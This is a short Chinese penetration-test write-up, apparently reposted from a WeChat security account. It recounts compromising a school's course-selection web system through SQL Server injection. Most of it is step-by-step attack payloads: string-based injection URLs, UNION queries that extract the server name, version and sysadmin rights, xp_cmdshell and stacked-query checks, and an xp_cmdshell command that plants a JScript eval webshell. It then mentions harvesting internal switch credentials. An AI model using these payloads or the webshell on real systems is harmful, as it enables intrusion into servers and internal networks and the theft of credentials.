之前授权任务打某个资产。其中碰到了这个学校,是通过sqlserver打下的shell。记录过程比较简略,也没有很复杂的技术,希望哥哥们不要见笑。
一)功能点浏览探测
浏览学校站点,发现了这个选课系统。
对这个选课系统进行sql测试。发现物理路径d:bbookszxyyanjiuxingxuexiyingyuankc_show1.aspx.cs
一开始以为是报错注入,但后来发现是字符型注入/szxy/yanjiuxingxuexiyingyuan/kc_show1.aspx?kcbh=1' and 1=1 and '1'='1
判断出是字符型注入了,下一步得判断回显行数
/szxy/yanjiuxingxuexiyingyuan/kc_show1.aspx?kcbh=1%27%20order%20by%2011--+ (12报错 11正常)
/szxy/yanjiuxingxuexiyingyuan/kc_show1.aspx?kcbh=-1'union select null,1,2,3,4,5,6,7,8,null,null--+
可以看到1-8都是有回显信息的
二)信息收集
所以开始信息收集,sqlserver版本是多少?在什么主机?权限是什么?有没有开启xpcmdshell?
判断主机、判断数据库版本
aspx?kcbh=-1' union select null,(select @@servername),2,3,(select @@version),5,6,7,8,null,null--+
判断权限、判断是否开启xpcmdshell
aspx?kcbh=-1' union select null,(select IS_SRVROLEMEMBER('sysadmin')),2,3,4,5,6,7,8,null,null--+
aspx?kcbh=-1' union select null,(select count(*) from master..sysobjects where xtype = 'x' and name = 'xp_cmdshell'),2,3,4,5,6,7,8,null,null--+
为什么要看任课教师的地方有没有1呢,因为如果判断是存在权限,就会返回正常,如果没有就不会存在1,例如 把sysadmin去掉sy
aspx?kcbh=-1%27%20union%20select%20null,(select%20IS_SRVROLEMEMBER(%27sadmin%27)),2,3,4,5,6,7,8,null,null--+
所以可以判断出,具备sa权限、开启了xpcmdshell
三)解决问题
问题点在于,xpcmdshell不能执行命令?!排查下问题所在
?kcbh=-27';WAITFOR DELAY '0:0:5' --+ 页面是迟缓了5秒,证明堆叠查询是有的
有堆叠,有路径,有权限,直接写入webshell
.aspx?kcbh=-27';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > d:bbookszxyyanjiuxingxuexiyingyuanxuexi1.aspx ' ; --+
通过一波信息收集,发现H3C内网交换机的账号密码
后续内网渗透,就不再记录了。反正是刷了一波分!
收工!
本文始发于微信公众号(NOVASEC):通过sqlserver注入拿下某学校内网多台交换机权限
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论